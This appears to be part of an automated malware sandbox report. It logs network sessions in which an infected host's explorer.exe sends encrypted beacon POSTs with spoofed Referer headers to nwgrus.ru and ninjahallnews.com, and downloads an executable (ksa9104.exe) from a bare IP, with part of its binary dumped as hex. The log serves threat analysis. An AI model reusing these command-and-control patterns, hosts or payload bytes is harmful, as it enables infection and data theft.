Oct 8, 2024 03:16:23.851033926 CEST	236	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 62 46 c3 fc Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA .[k,vubF~PbLhq?SEP"\S4;^ H0!m_CiE"%R-K\nJ_%YvzPF(iw"~`Ux
Oct 8, 2024 03:16:25.215214968 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:16:24 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50058	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:16:33.780054092 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gvwiwavaujycn.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 306 Host: nwgrus.ru
Oct 8, 2024 03:16:33.780088902 CEST	306	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 7d 0f b6 86 Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA .[k,vu}MF_I ~f3+yfF7byd'pE9TJ-Q,^DA[Z,0ds^#UD{,UYYe0~)KK{
Oct 8, 2024 03:16:35.175225973 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:16:34 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50059	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:16:46.162148952 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://anqkqcglkprylr.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 347 Host: nwgrus.ru
Oct 8, 2024 03:16:46.162180901 CEST	347	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 65 14 d1 a0 Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA .[k,vuedwdKm'V!CbU`CM#&jUR>WUA&+CYm'aYWC?-se;:kHT e!Iu
Oct 8, 2024 03:16:47.542952061 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:16:47 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50062	201.103.8.135	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:17:01.167900085 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lbnjhrckmixdmp.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 230 Host: nwgrus.ru
Oct 8, 2024 03:17:01.167931080 CEST	230	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 24 33 ef a6 Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA .[k,vu$3G'MI?PU)/%'M\|,nVdz36c%'D<[CWD7`U$182gfnk7[
Oct 8, 2024 03:17:02.271806002 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:17:02 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50064	201.103.8.135	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:17:19.598702908 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jwckdfwbqxcvipv.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 328 Host: nwgrus.ru
Oct 8, 2024 03:17:19.598714113 CEST	328	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 66 1b b6 e8 Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA .[k,vuf}zIkqr/M~ajafE'0'8T=$QTg-,!M_5sng[F4(6cxc1rG}>,<s
Oct 8, 2024 03:17:20.703741074 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:17:20 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50066	201.103.8.135	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:17:37.710000992 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qeoeefjxuhhhbrbu.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 331 Host: nwgrus.ru
Oct 8, 2024 03:17:37.710035086 CEST	331	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 3d 05 f3 ff Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA .[k,vu=sA\|vLjfzy9U"yQ?>xL<ZG\8B>4q[T5^UqQ4NjH%oZzpJ>{u`$b
Oct 8, 2024 03:17:38.839585066 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:17:38 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50068	201.103.8.135	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:17:55.126094103 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xxxghskpkjdphcpk.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 259 Host: nwgrus.ru
Oct 8, 2024 03:17:55.126184940 CEST	259	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 2a 2f a4 e3 Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA .[k,vu*/6AsXg!~Ufa&r7U)@2Yj+A(g&P.kpEL~Il.XC3Yp%)X~`2Wla.c\l
Oct 8, 2024 03:17:56.256889105 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:17:56 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49762	23.145.40.164	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:14:55 UTC	162	OUT	GET /ksa9104.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 23.145.40.164
2024-10-08 01:14:55 UTC	327	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:14:55 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff Last-Modified: Tue, 08 Oct 2024 01:00:02 GMT ETag: "6ec00-623eca8482fba" Accept-Ranges: bytes Content-Length: 453632 Connection: close Content-Type: application/x-msdos-program
2024-10-08 01:14:55 UTC	7865	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 fb 69 6f f7 bf 08 01 a4 bf 08 01 a4 bf 08 01 a4 d0 7e 9f a4 a7 08 01 a4 d0 7e aa a4 98 08 01 a4 d0 7e ab a4 d3 08 01 a4 b6 70 92 a4 b4 08 01 a4 bf 08 00 a4 33 08 01 a4 d0 7e ae a4 be 08 01 a4 d0 7e 9b a4 be 08 01 a4 d0 7e 9c a4 be 08 01 a4 52 69 63 68 bf 08 01 a4 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 c0 24 02 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 d6 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$io~~~p3~~~RichPEL$e
2024-10-08 01:14:55 UTC	8000	IN	Data Raw: 95 c0 2a 40 00 8b ff d0 2a 40 00 d8 2a 40 00 e4 2a 40 00 f8 2a 40 00 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8a 46 01 88 47 01 8b 45 08 5e 5f c9 c3 8d 49 00 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 88 47 02 8b 45 08 5e 5f c9 c3 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 5c 2c 40 00 8b ff f7 d9 ff 24 8d 0c 2c 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 60 2b 40 00 ff 24 8d 5c 2c 40 00 90 70 2b 40 00 94 2b 40 00 bc 2b 40 00 8a 46 03 23 d1 88 47 03 83 ee 01 c1 e9 02 83 ef 01 83 f9 08 72 b2 fd f3 a5 fc ff 24 95 5c 2c 40 00 8d 49 00 8a 46 03 23 d1 88 47 03 8a 46 02 c1 e9 02 88 47 02 83 ee 02 83 ef 02 83 f9 08 72 88 fd f3 a5 fc ff 24 95 5c Data Ascii: @@@@*@E^_E^_FGE^_IFGFGE^_t1\|9u$r$\,@$,@Ir+$`+@$\,@p+@+@+@F#Gr$\,@IF#GFGr$\
2024-10-08 01:14:55 UTC	8000	IN	Data Raw: 8d 38 fd ff ff 02 e8 53 43 00 00 e8 03 00 00 00 5b c9 c3 80 a5 38 fd ff ff fe 83 3d f0 1d 45 00 00 75 4f dd 95 30 fd ff ff 8a 85 70 ff ff ff 0a c0 74 1a 3c ff 74 5b 3c fe 74 3f 0a c0 74 33 0f be c0 89 85 72 ff ff ff e9 b2 00 00 00 66 8b 85 5c ff ff ff 66 83 e0 20 75 18 9b df e0 66 83 e0 20 74 0f c7 85 72 ff ff ff 08 00 00 00 e9 8d 00 00 00 d9 ad 5c ff ff ff 9b c3 66 8b 85 36 fd ff ff 66 25 f0 7f 66 0b c0 74 1b 66 3d f0 7f 74 43 eb bb 66 8b 85 36 fd ff ff 66 25 f0 7f 66 3d f0 7f 74 30 eb a8 c7 85 72 ff ff ff 04 00 00 00 dd 05 18 fd 40 00 d9 c9 d9 fd dd d9 d9 c0 d9 e1 dc 1d 08 fd 40 00 9b df e0 9e 73 34 dc 0d 28 fd 40 00 eb 2c c7 85 72 ff ff ff 03 00 00 00 dd 05 10 fd 40 00 d9 c9 d9 fd dd d9 d9 c0 d9 e1 dc 1d 00 fd 40 00 9b df e0 9e 76 06 dc 0d 20 fd 40 00 Data Ascii: 8SC[8=EuO0pt<t[<t?t3rf\f uf tr\f6f%ftf=tCf6f%f=t0r@@s4(@,r@@v @
2024-10-08 01:14:55 UTC	8000	IN	Data Raw: 66 83 f9 09 75 bc 85 f6 74 06 33 c9 66 89 4e fe 83 65 fc 00 33 d2 66 39 10 0f 84 c5 00 00 00 0f b7 08 83 f9 20 74 05 83 f9 09 75 0a 83 c0 02 eb ee 83 e8 02 eb da 66 39 10 0f 84 a5 00 00 00 39 55 08 74 09 8b 4d 08 83 45 08 04 89 31 ff 07 33 ff 47 33 d2 eb 04 83 c0 02 42 66 83 38 5c 74 f6 66 83 38 22 75 38 f6 c2 01 75 1f 83 7d fc 00 74 0c 66 83 78 02 22 75 05 83 c0 02 eb 0d 33 c9 33 ff 39 4d fc 0f 94 c1 89 4d fc d1 ea eb 10 4a 85 f6 74 09 6a 5c 59 66 89 0e 83 c6 02 ff 03 85 d2 75 ec 0f b7 08 66 85 c9 74 24 39 55 fc 75 0a 83 f9 20 74 1a 83 f9 09 74 15 85 ff 74 0c 85 f6 74 06 66 89 0e 83 c6 02 ff 03 83 c0 02 eb 81 85 f6 74 08 33 c9 66 89 0e 83 c6 02 ff 03 8b 7d 0c e9 30 ff ff ff 8b 45 08 3b c2 74 02 89 10 ff 07 5f 5e c9 c3 8b ff 55 8b ec 51 51 53 56 57 68 04 Data Ascii: fut3fNe3f9 tuf99UtME13G3Bf8\tf8"u8u}tfx"u339MMJtj\Yfuft$9Uu ttttft3f}0E;t_^UQQSVWh
2024-10-08 01:14:55 UTC	8000	IN	Data Raw: 45 e4 3d 01 01 00 00 7d 0d 8a 4c 18 1c 88 88 18 bd 44 00 40 eb e9 33 c0 89 45 e4 3d 00 01 00 00 7d 10 8a 8c 18 1d 01 00 00 88 88 20 be 44 00 40 eb e6 ff 35 20 bf 44 00 ff 15 1c f0 40 00 85 c0 75 13 a1 20 bf 44 00 3d f8 ba 44 00 74 07 50 e8 d4 a8 ff ff 59 89 1d 20 bf 44 00 53 ff d7 c7 45 fc fe ff ff ff e8 02 00 00 00 eb 30 6a 0d e8 2d d3 ff ff 59 c3 eb 25 83 f8 ff 75 20 81 fb f8 ba 44 00 74 07 53 e8 9e a8 ff ff 59 e8 9c c4 ff ff c7 00 16 00 00 00 eb 04 83 65 e0 00 8b 45 e0 e8 78 cf ff ff c3 83 3d b8 cc 45 00 00 75 12 6a fd e8 56 fe ff ff 59 c7 05 b8 cc 45 00 01 00 00 00 33 c0 c3 cc cc cc cc 55 8b ec 56 33 c0 50 50 50 50 50 50 50 50 8b 55 0c 8d 49 00 8a 02 0a c0 74 09 83 c2 01 0f ab 04 24 eb f1 8b 75 08 83 c9 ff 8d 49 00 83 c1 01 8a 06 0a c0 74 09 83 c6 01 Data Ascii: E=}LD@3E=} D@5 D@u D=DtPY DSE0j-Y%u DtSYeEx=EujVYE3UV3PPPPPPPPUIt$uIt
2024-10-08 01:14:56 UTC	8000	IN	Data Raw: 33 ff 89 78 04 8b 45 08 33 db 89 78 08 8b 45 08 43 89 78 0c f6 c1 10 74 0d 8b 45 08 09 58 04 c7 45 10 8f 00 00 c0 f6 c1 02 74 0e 8b 45 08 83 48 04 02 c7 45 10 93 00 00 c0 84 cb 74 0e 8b 45 08 83 48 04 04 c7 45 10 91 00 00 c0 f6 c1 04 74 0e 8b 45 08 83 48 04 08 c7 45 10 8e 00 00 c0 f6 c1 08 74 0e 8b 45 08 83 48 04 10 c7 45 10 90 00 00 c0 8b 75 0c 8b 0e 8b 45 08 c1 e1 04 f7 d1 33 48 08 83 e1 10 31 48 08 8b 0e 8b 45 08 03 c9 f7 d1 33 48 08 83 e1 08 31 48 08 8b 0e 8b 45 08 d1 e9 f7 d1 33 48 08 83 e1 04 31 48 08 8b 0e 8b 45 08 c1 e9 03 f7 d1 33 48 08 83 e1 02 31 48 08 8b 0e 8b 45 08 c1 e9 05 f7 d1 33 48 08 23 cb 31 48 08 e8 30 04 00 00 84 c3 74 07 8b 4d 08 83 49 0c 10 a8 04 74 07 8b 4d 08 83 49 0c 08 a8 08 74 07 8b 4d 08 83 49 0c 04 a8 10 74 07 8b 4d 08 83 49 Data Ascii: 3xE3xECxtEXEtEHEtEHEtEHEtEHEuE3H1HE3H1HE3H1HE3H1HE3H#1H0tMItMItMItMI
2024-10-08 01:14:56 UTC	8000	IN	Data Raw: 5a 2b ce 3b d0 7c 08 8b 31 89 74 95 f0 eb 05 83 64 95 f0 00 83 e9 04 4a 79 e9 8b 1d 8c c1 44 00 03 1d 78 c1 44 00 33 c0 40 e9 98 00 00 00 03 1d 8c c1 44 00 81 65 f0 ff ff ff 7f 8b c1 99 83 e2 1f 03 c2 8b d1 c1 f8 05 81 e2 1f 00 00 80 79 05 4a 83 ca e0 42 83 65 d8 00 83 65 e0 00 83 ce ff 8b ca d3 e6 c7 45 dc 20 00 00 00 29 55 dc f7 d6 8b 4d e0 8b 7c 8d f0 8b cf 23 ce 89 4d d4 8b ca d3 ef 8b 4d e0 0b 7d d8 89 7c 8d f0 8b 7d d4 8b 4d dc d3 e7 ff 45 e0 83 7d e0 03 89 7d d8 7c d0 8b f0 6a 02 c1 e6 02 8d 4d f8 5a 2b ce 3b d0 7c 08 8b 31 89 74 95 f0 eb 05 83 64 95 f0 00 83 e9 04 4a 79 e9 33 c0 5e 6a 1f 59 2b 0d 84 c1 44 00 d3 e3 8b 4d c8 f7 d9 1b c9 81 e1 00 00 00 80 0b d9 8b 0d 88 c1 44 00 0b 5d f0 83 f9 40 75 0d 8b 4d cc 8b 55 f4 89 59 04 89 11 eb 0a 83 f9 20 Data Ascii: Z+;\|1tdJyDxD3@DeyJBeeE )UM\|#MM}\|}ME}}\|jMZ+;\|1tdJy3^jY+DMD]@uMUY
2024-10-08 01:14:56 UTC	8000	IN	Data Raw: 9d 04 00 da 9d 04 00 e8 9d 04 00 fc 9d 04 00 0a 9e 04 00 1c 9e 04 00 2a 9e 04 00 42 9e 04 00 56 9e 04 00 66 9e 04 00 72 9e 04 00 7c 9e 04 00 90 9e 04 00 a8 9e 04 00 b8 9e 04 00 ce 9e 04 00 e0 9e 04 00 f6 9e 04 00 06 9f 04 00 20 9f 04 00 34 9f 04 00 20 9d 04 00 5e 9f 04 00 74 9f 04 00 84 9f 04 00 9e 9f 04 00 ae 9f 04 00 c6 9f 04 00 d8 9f 04 00 f0 9f 04 00 04 a0 04 00 1a a0 04 00 28 a0 04 00 38 a0 04 00 46 a0 04 00 58 a0 04 00 6c a0 04 00 7c a0 04 00 8a a0 04 00 98 a0 04 00 a6 a0 04 00 ba a0 04 00 ce a0 04 00 e4 a0 04 00 f8 a0 04 00 0e a1 04 00 1c a1 04 00 2c a1 04 00 a4 9c 04 00 08 9d 04 00 f4 9c 04 00 dc 9c 04 00 ca 9c 04 00 b8 9c 04 00 48 9f 04 00 a4 a5 04 00 96 a5 04 00 82 a5 04 00 70 a5 04 00 60 a5 04 00 00 a2 04 00 10 a2 04 00 20 a2 04 00 28 a2 04 00 Data Ascii: *BVfr\| 4 ^t(8FXl\|,Hp` (
2024-10-08 01:14:56 UTC	8000	IN	Data Raw: 61 74 69 63 20 74 68 72 65 61 64 20 67 75 61 72 64 27 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 60 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 00 60 76 65 63 74 6f 72 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 60 64 79 6e 61 6d 69 63 20 61 74 65 78 69 74 20 64 65 73 74 72 75 63 74 6f 72 20 66 6f 72 20 27 00 00 00 00 60 64 79 6e 61 6d 69 63 20 69 6e 69 74 69 61 6c 69 7a 65 72 20 66 6f 72 20 27 00 00 60 65 68 20 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 60 65 68 20 Data Ascii: atic thread guard'`managed vector copy constructor iterator'`vector vbase copy constructor iterator'`vector copy constructor iterator'`dynamic atexit destructor for '`dynamic initializer for '`eh vector vbase copy constructor iterator'`eh
2024-10-08 01:14:56 UTC	8000	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49915	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:15:19 UTC	284	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://emovkvrsbdl.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 234 Host: ninjahallnews.com
2024-10-08 01:15:19 UTC	234	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6a 34 01 83 b6 25 93 3c 32 c2 19 9b a7 f2 23 03 cc 75 6a 83 5b e5 cb 34 65 cf 30 2c 78 ca da d1 68 ab ce 6e 51 f3 f0 61 a9 29 74 be 8b 05 64 4c 46 00 46 fb 10 d7 f4 9d 53 e5 e2 6b 64 24 e2 5c 2f ba 72 48 cc fb f2 c8 24 13 b5 0b da 45 8d 71 37 bd 55 8d 61 28 51 33 62 c1 bc 5f 93 89 04 e9 2a 65 c6 b6 de 3b be 9d 06 e6 d3 bf 9a 3d 64 c6 96 86 0a 3b b6 5c 55 fc 35 0c 00 f2 6a 67 6e f8 38 39 23 96 cc 8b 7b 5e b8 ef 66 fb 64 83 b7 db 66 08 01 37 df 65 3f 1f 0d 68 a7 23 9f ad 2b 38 01 50 1c b2 Data Ascii: rmh9/2p6 )6IP g3iqH[CLj4%<2#uj[4e0,xhnQa)tdLFFSkd$\/rH$Eq7Ua(Q3b_*e;=d;\U5jgn89#{^fdf7e?h#+8P
2024-10-08 01:15:19 UTC	294	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 01:15:19 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Type: text/html; charset=utf-8 Connection: close Transfer-Encoding: chunked
2024-10-08 01:15:19 UTC	7898	IN	Data Raw: 31 65 65 36 0d 0a 19 00 00 00 1e 0d ae 55 88 5b ab 97 21 0d dd 60 2e 7b 1d 32 50 01 72 3e c8 9a 69 4c 1d 00 8b 6e 04 00 2a 22 f8 44 01 02 02 00 06 00 9e 03 00 00 77 51 0b 6d 97 5a 5a 1a e7 4b 51 fa 07 40 40 00 56 e8 34 2a 99 34 df c4 22 b4 0c c2 c9 75 16 28 d6 e8 35 ae 87 4e 70 79 29 cd 23 c3 ef 0b d6 49 8b 19 b9 12 52 9b dd 05 05 4e 9f 97 7b e1 5f 69 8c b0 ed 65 43 56 5e 71 f5 4e 45 39 f4 04 e9 d0 a8 e9 4b 2b 4d 76 2a 66 fa 26 fe fc 55 8f 54 eb 33 b6 46 e0 cd 9b 34 02 35 6a 8c 34 70 c2 dc 6e 38 81 9d aa f9 df b3 6b b5 26 0a bf f8 36 e7 44 24 f5 0e af a7 0a 97 ae cb ad 65 6a 38 8e 2f df 47 1f 1a ad c3 3a f2 61 39 73 b3 62 24 2c b7 bd 31 c3 2f 23 8d 51 5a f1 9f b6 71 3e fe 3f 8a 3b 55 06 26 3f 4a 6b de aa db 22 7d b3 7d c9 db a3 3d 47 8d 1a 2c 1e 6a 9c fa Data Ascii: 1ee6U[!`.{2Pr>iLn"DwQmZZKQ@@V44"u(5Npy)#IRN{_ieCV^qNE9K+Mv*f&UT3F45j4pn8k&6D$ej8/G:a9sb$,1/#QZq>?;U&?Jk"}}=G,j
2024-10-08 01:15:19 UTC	18	IN	Data Raw: 4a ad c8 4d b8 98 51 d7 c4 46 f4 20 38 32 b7 a2 a6 9c Data Ascii: JMQF 82
2024-10-08 01:15:19 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-08 01:15:19 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a c7 83 91 ea b4 80 43 43 d2 2a 76 48 28 fa e3 f3 9b 3d 20 10 9a 0e 07 b4 7c 20 db b8 5f 0e 1c e0 7a 74 62 c2 d5 38 50 ab b4 6a a0 56 ed 37 bc 2b 04 79 0c 1b 74 82 e9 04 9a 87 8c 66 71 e2 3a 32 bf 96 aa 85 56 f4 05 fa 48 17 d7 45 b4 74 c3 01 34 c3 54 3e 0c 3d 97 2a 26 cc e0 32 29 5f 8c 55 6d 85 ae 7f c0 d1 7a 0d e9 4b ea fe ab ed 75 74 7c 00 3d e6 71 31 34 c9 ac e6 53 30 c6 87 a5 c8 d7 15 65 b7 c3 61 c3 c5 8f c6 9a c4 80 03 25 d2 d0 09 db b2 89 46 e4 46 0c 7b d6 5d 28 c6 ce 93 0e a0 df 57 0e ee 82 b4 d0 a5 1f 04 45 b4 1f 58 9b 51 6b 96 da 7d 6f 25 58 7f c2 df 99 a3 df 79 d9 ef 51 30 8c 18 69 40 64 fe e0 0e f9 89 96 8f 98 34 d7 8c c5 72 ed 1a ee 52 45 71 1c 08 d3 19 12 f4 68 db 8e ab e2 ad 2e 10 cd bb fe ff 53 78 84 90 47 f0 6e 67 90 52 5f Data Ascii: 2000CCvH(= \| _ztb8PjV7+ytfq:2VHEt4T>=&2)_UmzKut\|=q14S0ea%FF{](WEXQk}o%XyQ0i@d4rREqh.SxGngR_
2024-10-08 01:15:19 UTC	6	IN	Data Raw: 97 20 09 6c 1a f8 Data Ascii: l
